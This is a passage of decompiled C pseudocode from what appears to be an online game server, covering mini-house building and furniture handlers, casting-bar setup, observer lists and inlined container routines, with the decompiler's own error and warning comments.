"ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -29594; *((_WORD *)v5 + 1) = 5912; v6 = *(_DWORD *)((char *)v4 + 98); v15 = 0; if ( !v6 ) { *((_WORD *)v5 + 1) = 5914; LABEL_3: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ"); return; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { *((_WORD *)v5 + 1) = 5915; goto LABEL_3; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 312))(v4); if ( !ShineObjectManager::som_GetObject(&shineobjmanager, v7) ) { *((_WORD *)v5 + 1) = 5915; goto LABEL_3; } if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 704))(v4) == -1 ) { *((_WORD *)v5 + 1) = 5916; goto LABEL_3; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 688))(v4) ) { *((_WORD *)v5 + 1) = 5912; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } *(_WORD *)v5 = -29593; *((_WORD *)v5 + 1) = 1; *((_WORD *)v5 + 2) = *((_WORD *)v4 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); LOBYTE(v15) = 1; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { *((_WORD *)v5 + 1) = 5913; v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ : Packet Too Long", 4) ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } } v15 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (005463C0) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseGetMHInfo(void *this) { unsigned __int16 v1; // ax@1 char *result; // eax@2 int v3; // eax@3 char *v4; // esi@3 DebugLogging *v5; // edi@3 _iobuf *v6; // eax@5 DebugLogging *v7; // eax@7 DebugLogging *v8; // eax@7 int v9; // eax@9 unsigned int v10; // ecx@9 char *v11; // ecx@9 char *v12; // ST0C_4@9 DebugLogging *v13; // eax@9 DebugLogging *v14; // eax@9 v1 = *((_WORD *)this + 11702); if ( v1 < 0x80u && (result = (char *)&queue_MH_InnerInfo + 136 * v1) != 0 ) { if ( *((_WORD *)this + 2) != *(_WORD *)result ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)this + 1384))(this); v10 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v10; v11 = (char *)&namestring + 256 * v10; *(_DWORD *)v11 = *(_DWORD *)v9; *((_DWORD *)v11 + 1) = *(_DWORD *)(v9 + 4); *((_DWORD *)v11 + 2) = *(_DWORD *)(v9 + 8); v12 = v11; *((_DWORD *)v11 + 3) = *(_DWORD *)(v9 + 12); v11[16] = 0; v13 = DebugLogging::operator<<(&InnerMiniHouseLog, "MH_InnerInfo Null "); v14 = DebugLogging::operator<<(v13, v12); DebugLogging::operator<<(v14, &deb_LF); result = 0; } } else { v3 = (*(int (**)(void))(*(_DWORD *)this + 1384))(); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v4 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v4 = *(_DWORD *)v3; *((_DWORD *)v4 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v4 + 3) = *(_DWORD *)(v3 + 12); v4[16] = 0; v5 = DebugLogging::operator<<(&InnerMiniHouseLog, "sp_MH_InnerInfo.MHFlag Null return "); if ( DebugLogging::dl_ActivAll && v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } v7 = DebugLogging::operator<<(v5, (char *)&stru_63450C); v8 = DebugLogging::operator<<(v7, v4); DebugLogging::operator<<(v8, &deb_LF); result = 0; } return result; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00546510) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::registerObsersver(int observer) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::registerObsersver"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::registerObsersver"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::registerObsersver"); } //----- (00546560) -------------------------------------------------------- int __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_IsEmpty(NormalAttackDamageDelay::NormalAttackDamageTick *this) { return this->nadt_DamageTime._Mysize == 0; } //----- (00546570) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1152))(v1) ) { case 0u: case 1u: case 2u: case 3u: (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1476))(v1); break; case 6u: ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(v1); break; case 4u: case 5u: ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(v1); break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting"); } //----- (00546650) -------------------------------------------------------- #error "546650: undefined or illegal type '#734' (funcsize=100)" //----- (005467D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CreateCastingBar(void *this, unsigned __int16 nTargetHnd, unsigned __int16 nMilliSec, const char *sAnimationIndex) { int v4; // ebx@1 int v5; // eax@1 char *v6; // eax@7 int v7; // ST04_4@7 int v8; // eax@7 char *v9; // eax@7 int v10; // eax@9 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@7 int v12; // [sp+1Ch] [bp-4h]@7 v4 = (int)this; v5 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, nTargetHnd); if ( v5 && sAnimationIndex && (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v5, v4) <= 0x4E20 ) { if ( !(_S26_6 & 1) ) { _S26_6 |= 1u; stru_130D7E38.cmc_AllowMode = 120; atexit(_E27_10); } if ( !((1 << (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1152))(v4)) & stru_130D7E38.cmc_AllowMode) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2256))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2644))(v4); *(_WORD *)(v4 + 143908) = nTargetHnd; BriefInformationCharacter::bic_SetAnimation((BriefInformationCharacter *)(v4 + 31920), sAnimationIndex); ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 143172), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))&ShineObjectClass::ShinePlayer::sp_Schedule_CastingBar, 0, TSCW_MISC, nMilliSec); v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8308; *((_WORD *)v6 + 1) = *(_WORD *)(v4 + 4); memcpy(v6 + 4, sAnimationIndex, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 36); v7 = *(_DWORD *)(v4 + 78); v12 = 0; v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v4, v8, v7, 0, 0, (int)&alchat, 1, 65535); v12 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8263; *((_WORD *)v9 + 1) = nMilliSec; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_CreateCastingBar : Packet Too Long", 4); } } } } //----- (005469A0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, Observer *_Val) { std::vector >::iterator v4; // esi@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; } else { do { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)&v4 + 16))(v4, _Val) ) break; *(_DWORD *)&v4 += 24; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (005469E0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, Observer *_Val) { std::vector >::iterator v5; // esi@1 std::vector >::iterator v6; // edi@2 std::vector >::iterator v7; // eax@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( !(unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)&v5 + 16))(v5, _Val) ) { v7 = v6; *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v5 + 4); *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v5 + 8); *(_DWORD *)(*(_DWORD *)&v6 + 12) = *(_DWORD *)(*(_DWORD *)&v5 + 12); *(_DWORD *)(*(_DWORD *)&v6 + 16) = *(_DWORD *)(*(_DWORD *)&v5 + 16); *(_DWORD *)&v6 += 24; *(_DWORD *)(*(_DWORD *)&v7 + 20) = *(_DWORD *)(*(_DWORD *)&v5 + 20); } *(_DWORD *)&v5 += 24; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (00546A50) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, has_same_master _Pred) { std::vector >::iterator v5; // ecx@1 std::vector >::iterator v6; // esi@2 int v7; // edx@3 std::vector >::iterator v8; // eax@4 std::vector >::iterator *v9; // eax@6 v5 = _First; if ( _First == _Last ) { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { v7 = *(_DWORD *)(*(_DWORD *)&v5 + 4); if ( _Pred != v7 ) { v8 = v6; *(_DWORD *)(*(_DWORD *)&v6 + 4) = v7; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v5 + 8); *(_DWORD *)(*(_DWORD *)&v6 + 12) = *(_DWORD *)(*(_DWORD *)&v5 + 12); *(_DWORD *)(*(_DWORD *)&v6 + 16) = *(_DWORD *)(*(_DWORD *)&v5 + 16); *(_DWORD *)&v6 += 24; *(_DWORD *)(*(_DWORD *)&v8 + 20) = *(_DWORD *)(*(_DWORD *)&v5 + 20); } *(_DWORD *)&v5 += 24; } while ( v5 != _Last ); v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v9; } //----- (00546AB0) -------------------------------------------------------- int std::_Copy_backward_opt>::iterator_std::deque>::iterator>(...) { unsigned int v5; // edx@1 unsigned int v6; // edi@1 unsigned int v7; // ecx@3 int v8; // eax@3 unsigned int v9; // esi@5 int v10; // eax@5 int v11; // ecx@5 int v12; // ecx@7 std::deque >::iterator *v13; // eax@8 v5 = _Dest.baseclass_0._Myoff; v6 = _Last.baseclass_0._Myoff; while ( _First != __PAIR__(v6, *(_DWORD *)&_Last) ) { v7 = *(_DWORD *)(*(_DWORD *)&_Last + 8); --v6; v8 = v6; if ( v7 <= v6 ) v8 = v6 - v7; v9 = *(_DWORD *)(*(_DWORD *)&_Dest + 8); v10 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&_Last + 4) + 4 * v8); --v5; v11 = v5; if ( v9 <= v5 ) v11 = v5 - v9; v12 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&_Dest + 4) + 4 * v11); *(_DWORD *)v12 = *(_DWORD *)v10; *(_DWORD *)(v12 + 4) = *(_DWORD *)(v10 + 4); *(_DWORD *)(v12 + 8) = *(_DWORD *)(v10 + 8); *(_DWORD *)(v12 + 12) = *(_DWORD *)(v10 + 12); } v13 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Dest; result->baseclass_0._Myoff = v5; return v13; } //----- (00546B20) -------------------------------------------------------- int std::_Copy_opt>::iterator_std::deque>::iterator>(...) { unsigned int v5; // edx@1 unsigned int v6; // esi@1 unsigned int v7; // eax@3 int v8; // ecx@3 unsigned int v9; // edi@5 int v10; // eax@5 int v11; // ecx@7 int v12; // eax@7 std::deque >::iterator *v13; // eax@8 v5 = _First.baseclass_0._Myoff; v6 = _Dest.baseclass_0._Myoff; while ( __PAIR__(v5, *(_DWORD *)&_First) != _Last ) { v7 = *(_DWORD *)(*(_DWORD *)&_First + 8); v8 = v5; if ( v7 <= v5 ) v8 = v5 - v7; v9 = *(_DWORD *)(*(_DWORD *)&_Dest + 8); v10 = v6; if ( v9 <= v6 ) v10 = v6 - v9; v11 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&_First + 4) + 4 * v8); v12 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&_Dest + 4) + 4 * v10); *(_DWORD *)v12 = *(_DWORD *)v11; *(_DWORD *)(v12 + 4) = *(_DWORD *)(v11 + 4); *(_DWORD *)(v12 + 8) = *(_DWORD *)(v11 + 8); ++v6; *(_DWORD *)(v12 + 12) = *(_DWORD *)(v11 + 12); ++v5; } v13 = result; result->baseclass_0._Myoff = v6; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Dest; return v13; } //----- (00546B90) -------------------------------------------------------- #error "546B90: undefined or illegal type '#593' (funcsize=188)" //----- (00546DE0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_if>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, has_same_master _Pred) { std::vector >::iterator v4; // ecx@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) goto LABEL_10; while ( _Pred != *(_DWORD *)(*(_DWORD *)&v4 + 4) ) { *(_DWORD *)&v4 += 24; if ( v4 == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; return v5; } } if ( v4 != _Last ) { std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>( result, (std::vector >::iterator)(*(_DWORD *)&v4 + 24), _Last, v4, _Pred); v5 = result; } else { LABEL_10: v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (00546E30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 void *v5; // ecx@3 SkillDataBox::SkillDataIndex *v6; // eax@10 int v7; // ST04_4@14 int v8; // eax@14 signed int v9; // edi@16 char v10; // dl@23 char *v11; // eax@23 char v12; // al@23 int v13; // eax@24 signed int v14; // [sp-4h] [bp-F4h]@8 FunctionEntarance _; // [sp+10h] [bp-E0h]@1 char tmp; // [sp+14h] [bp-DCh]@23 char v17; // [sp+28h] [bp-C8h]@23 char v18; // [sp+29h] [bp-C7h]@23 char v19; // [sp+31h] [bp-BFh]@23 char v20; // [sp+32h] [bp-BEh]@23 char v21; // [sp+33h] [bp-BDh]@23 char v22; // [sp+34h] [bp-BCh]@23 char v23; // [sp+98h] [bp-58h]@23 Name8 area; // [sp+9Ch] [bp-54h]@17 char areabuf[33]; // [sp+BCh] [bp-34h]@17 unsigned int v26; // [sp+E0h] [bp-10h]@1 int v27; // [sp+ECh] [bp-4h]@1 v4 = this; v26 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; if ( !(_S10_33 & 1) ) { _S10_33 |= 1u; stru_130D7E40.cmc_AllowMode = 6; atexit(_E11_25); } v5 = v4; if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130D7E40.cmc_AllowMode) ) goto LABEL_28; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2708))(v4) != 1 || *((_BYTE *)v4 + 7428) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3464))(v4) ) { v5 = v4; LABEL_28: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v5, 35, 4, 4482); --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ"); goto LABEL_29; } if ( !*(_DWORD *)((char *)v4 + 98) ) { v14 = 4499; LABEL_9: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, v14); v27 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_29; } v6 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "MiniRoomSkill"); if ( !v6 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4506); v27 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_29; } if ( !CharaterSkillList::csl_IsLearn((CharaterSkillList *)((char *)v4 + 68496), v6->sdi_Activ->ID) ) { v14 = 4506; goto LABEL_9; } v7 = *(_DWORD *)((char *)v4 + 78); v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange( v4, v8, v7, (char *)0x190, 0, (int)ShineObjectClass::ShineObject::so_TentPoint, 0, 0, 0, 0, 65535) ) { v9 = 1; do { sprintf(areabuf, "MH_Zone%d%c"); Name8::Name8(&area, areabuf); if ( FieldMap::fm_AreaEntry( *(_DWORD *)((char *)v4 + 98), &area, **(_DWORD **)((char *)v4 + 78), *(_DWORD *)(*(_DWORD *)((char *)v4 + 78) + 4)) ) break; ++v9; } while ( v9 < 10 ); if ( v9 == 10 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4501); } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4485); } else { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2256))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2644))(v4); v20 = *(_BYTE *)(netcmd + 2); strncpy(&v18, (const char *)(netcmd + 3), 8u); v19 = 0; strncpy(&tmp, (const char *)(netcmd + 12), 0x14u); v10 = *(_BYTE *)(netcmd + 33); v17 = 0; v21 = v10; strncpy(&v22, (const char *)(netcmd + 34), 0x64u); v11 = gpp.pp_Buffer; v23 = 0; *(_WORD *)gpp.pp_Buffer = 8263; *((_WORD *)v11 + 1) = 5000; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ : Packet Too Long", 4) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } *((_BYTE *)v4 + 23408) = 1; ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 143172), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#734 *))&ShineObjectClass::ShinePlayer::sp_Schedule_BuildMiniHouse, 0, TSCW_MISC, 5000); *((_WORD *)v4 + 11702) = MemoryQueue::mq_Store( &queue_MH_InnerInfo, *((_WORD *)v4 + 2), (MemoryMiniHouseEntrance *)&tmp); } } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 4, 4505); } v27 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_29: __security_check_cookie((unsigned int)&_ ^ v26); } //----- (00547200) -------------------------------------------------------- #error "547200: undefined or illegal type '#593' (funcsize=42)" //----- (00547290) -------------------------------------------------------- void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_PopFront(NormalAttackDamageDelay::NormalAttackDamageTick *this) { unsigned int v1; // eax@1 unsigned int v2; // edi@2 unsigned int v3; // edx@2 unsigned int v4; // eax@4 v1 = this->nadt_DamageTime._Mysize; if ( v1 ) { v2 = this->nadt_DamageTime._Mapsize; v3 = this->nadt_DamageTime._Myoff + 1; this->nadt_DamageTime._Myoff = v3; if ( v2 <= v3 ) this->nadt_DamageTime._Myoff = 0; v4 = v1 - 1; this->nadt_DamageTime._Mysize = v4; if ( !v4 ) this->nadt_DamageTime._Myoff = 0; } } //----- (005472C0) -------------------------------------------------------- void __thiscall std::deque>::_Tidy(std::deque > *this) { std::deque > *v1; // esi@1 unsigned int v2; // eax@2 unsigned int v3; // eax@3 unsigned int v4; // edi@6 void *v5; // eax@7 v1 = this; while ( this->_Mysize ) { v2 = this->_Mysize; if ( v2 ) { v3 = v2 - 1; this->_Mysize = v3; if ( !v3 ) this->_Myoff = 0; } } v4 = this->_Mapsize; while ( v4 > 0 ) { v5 = v1->_Map[v4-- - 1]; if ( v5 ) operator delete(v5); } if ( v1->_Map ) operator delete(v1->_Map); v1->_Mapsize = 0; v1->_Map = 0; } //----- (00547330) -------------------------------------------------------- // local variable allocation has failed! std::deque >::iterator *__thiscall std::deque>::erase(std::deque > *this, std::deque >::iterator *result, std::deque >::iterator _First, std::deque >::iterator _Last) { std::deque > *v4; // esi@1 unsigned int v5; // ebx@1 unsigned int v6; // edi@1 unsigned int v7; // ebp@1 unsigned int v8; // ecx@3 unsigned int v9; // ebx@5 int v10; // eax@5 unsigned int v11; // eax@12 unsigned int v12; // ecx@18 std::deque >::iterator *v13; // eax@18 unsigned int _Off; // [sp+10h] [bp-10h]@1 v4 = this; v5 = this->_Myoff; _Off = _First.baseclass_0._Myoff - v5; v6 = _Last.baseclass_0._Myoff - _First.baseclass_0._Myoff; v7 = this->_Mysize + v5; if ( _First.baseclass_0._Myoff - v5 >= v7 - _Last.baseclass_0._Myoff ) { std::_Copy_opt>::iterator_std::deque>::iterator>( &_First, _Last, (std::deque >::iterator)__PAIR__(v7, (unsigned int)this), _First, (std::_Nonscalar_ptr_iterator_tag)result); if ( v6 ) { v11 = v4->_Mysize; do { if ( v11 ) { --v11; if ( !v11 ) v4->_Myoff = 0; } --v6; } while ( v6 ); v4->_Mysize = v11; } } else { std::_Copy_backward_opt>::iterator_std::deque>::iterator>( &_First, *(std::deque >::iterator *)&this, _First, _Last, (std::_Nonscalar_ptr_iterator_tag)result); if ( v6 ) { v8 = v4->_Mysize; do { if ( v8 ) { v9 = v4->_Mapsize; v10 = v4->_Myoff + 1; v4->_Myoff = v10; if ( v9 <= v10 ) v4->_Myoff = 0; --v8; if ( !v8 ) v4->_Myoff = 0; } --v6; } while ( v6 ); v4->_Mysize = v8; } } v12 = v4->_Myoff; v13 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; result->baseclass_0._Myoff = _Off + v12; return v13; } // 547330: variables would overlap: ecx/4 and qcx/8 //----- (00547420) -------------------------------------------------------- #error "547420: undefined or illegal type '#734' (funcsize=123)" //----- (005475D0) -------------------------------------------------------- #error "5475D0: undefined or illegal type '#593' (funcsize=34)" //----- (00547640) -------------------------------------------------------- std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersver(std::vector >::iterator this, Observer *observer) { Observer *v2; // ebx@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // esi@1 std::vector >::iterator v5; // eax@1 std::vector >::iterator result; // [sp+0h] [bp-4h]@1 result = this; v2 = observer; v3 = this; v4 = *(std::vector >::iterator *)(*(_DWORD *)&this + 143676); v5 = *(std::vector >::iterator *)&std::find>::iterator_Observer>( &result, *(std::vector >::iterator *)(*(_DWORD *)&this + 143672), *(std::vector >::iterator *)(*(_DWORD *)&this + 143676), observer)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v5 != v4 ) { std::remove_copy>::iterator_std::vector>::iterator_Observer>( (std::vector >::iterator *)&observer, (std::vector >::iterator)(*(_DWORD *)&v5 + 24), v4, v5, v2); v5 = (std::vector >::iterator)observer; } return std::vector>::erase( (std::vector > *)(*(_DWORD *)&v3 + 143668), (std::vector >::iterator *)&observer, v5, v4); } //----- (005476A0) -------------------------------------------------------- std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersvers(int this, has_same_master result) { int v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator *v4; // eax@1 int v6; // [sp+0h] [bp-4h]@1 v6 = this; v2 = this; v3 = *(std::vector >::iterator *)(this + 143676); v4 = std::remove_if>::iterator_has_same_master>( (std::vector >::iterator *)&result, *(std::vector >::iterator *)(this + 143672), *(std::vector >::iterator *)(this + 143676), result); return std::vector>::erase( (std::vector > *)(v2 + 143668), (std::vector >::iterator *)&v6, *v4, v3); } //----- (005476E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::notifyObservers(int this, int happen, int DwParam, int SDwParam) { int v4; // ebp@1 int v5; // ebx@1 int v6; // edx@3 int v7; // ecx@3 int v8; // eax@4 int v9; // edi@6 int i; // esi@6 v4 = this; v5 = *(_DWORD *)(this + 143672); if ( v5 != *(_DWORD *)(this + 143676) ) { do { if ( (*(int (__thiscall **)(int, _DWORD, int, int, int, int, _DWORD, _DWORD))(*(_DWORD *)v5 + 4))( v5, 0, v4, happen, DwParam, SDwParam, 0, 0) & 2 ) { v6 = *(_DWORD *)(v4 + 143676); v7 = v5 + 24; if ( v5 + 24 != v6 ) { v8 = v5 + 8; do { *(_DWORD *)(v8 - 4) = *(_DWORD *)(v8 + 20); *(_DWORD *)v8 = *(_DWORD *)(v8 + 24); *(_DWORD *)(v8 + 